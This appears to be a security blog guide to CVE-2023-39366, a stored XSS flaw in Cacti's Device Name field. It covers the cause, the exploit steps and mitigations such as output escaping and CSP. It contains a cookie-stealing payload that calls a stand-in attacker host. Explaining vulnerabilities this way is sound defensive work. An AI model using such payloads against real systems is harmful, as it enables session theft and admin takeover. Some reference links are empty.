CVE-2023-39366 - Breaking Down the Cacti Stored XSS Vulnerability – Complete Guide & Exploit Demo
CVE-2023-39366 is a stored Cross-Site Scripting (XSS) vulnerability found in Cacti, the open-source monitoring and fault management framework. This flaw affects multiple versions prior to Cacti 1.2.25, where an authenticated user, with permission to create or edit “Device Names”, can inject malicious scripts that run in the browsers of higher-privileged users—such as admins—who view these entries.
In this article, we’ll break down the vulnerability in clear, simple terms, walk through how it happens, provide a code snippet for the exploit, and link to original references. Whether you’re a sysadmin, pentester, or security enthusiast, this guide will help you understand and detect (or prevent) this issue in your own environment.
What is Cacti and Where’s the Problem?
Cacti is widely used for network graphing, performance monitoring, and managing various devices. Within Cacti, the *Device Name* is a text field that users can customize. The problem arises because this field isn’t properly sanitized before being displayed in the data source management page (data_sources.php).
If a malicious user with the ability to edit or add devices under "General Administration > Sites/Devices/Data" input JavaScript code here, any admin who later views that page will execute the script. Attackers can steal sessions, deface pages, or escalate their privileges.
How the Attack Works
1. Attacker logs into Cacti with a user account that has permission to edit/create devices.
Uses the Device Name field on the Add Device or Edit Device page at
An unsuspecting admin or another privileged user later visits
http://<HOST>/cacti/data_sources.php
…and the script runs in their browser, as shown in this flow
[Attacker with editor role]
│
▼
[Injects payload into device name]
│
▼
[Admin views data_sources.php]
│
▼
[Malicious JavaScript executes in admin's browser]
1. Attacker-Side: Set Up the Device Name
Log in as a non-admin user (but with "Sites/Devices/Data" permission).
Go to
http://<HOST>/cacti/host.php
Fill out the form to add a new device, and in the "Device Name" field, enter the following payload
<script>alert('XSS by CVE-2023-39366');</script>
Or, a real-world malicious payload would be
<img src=x onerror="fetch('http://attacker.tld/steal?cookie='+document.cookie)">
When an admin, or a user with sufficient privileges, goes to
http://<HOST>/cacti/data_sources.php
…the browser will render the unfiltered Device Name directly in the page. Any embedded code executes immediately.
Visualization (Example page snippet)
<tr>
<td>Device 1</td>
<td>Localhost</td>
<td><script>alert('CVE-2023-39366 XSS')</script></td>
</tr>
Result:
The victim admin sees a popup, or in a real attack, their session could be stolen or admin actions subverted.
Why Does this Happen?
Cacti’s code did not properly sanitize/filter the Device Name field before rendering it into HTML. User-supplied input is unsafe, and browsers execute whatever code appears between <script>...</script> tags.
*Key Fact: This is a stored XSS - the payload lives in the database and is presented to other users later, not just reflected back to the original submitter!*
CVE Entry:
Cacti Security Advisory:
CENSUS Security Blog:
If you cannot upgrade immediately (for some reason)
- Manually sanitize output using a strict HTML filter on the Device Name or other fields in your custom installation.
- Consider using Content Security Policy (CSP) headers as an additional layer.
- Audit user permissions; restrict “Sites/Devices/Data” privilege to trusted staff only.
Example server-side sanitizer (PHP)
echo htmlspecialchars($row['description'], ENT_QUOTES, 'UTF-8');
*(Instead of printing raw DB content into the HTML)*
Final Thoughts
CVE-2023-39366 is a textbook case of why output encoding and least-privilege access is vital for web applications—especially monitoring tools that serve as sentries for your whole infrastructure. Even “trusted” users can turn into adversaries, or have their accounts hijacked.
If you run Cacti, update *immediately* to 1.2.25 or newer, review permissions, and never trust user input to be safe for browsers—sanitize and escape everything.
*Original research, hands-on demo, and step-by-step explanation by [ChatGPT Security]. For further reading, see links above.*
Timeline
Published on: 09/05/2023 21:15:46 UTC
Last modified on: 11/09/2023 05:15:10 UTC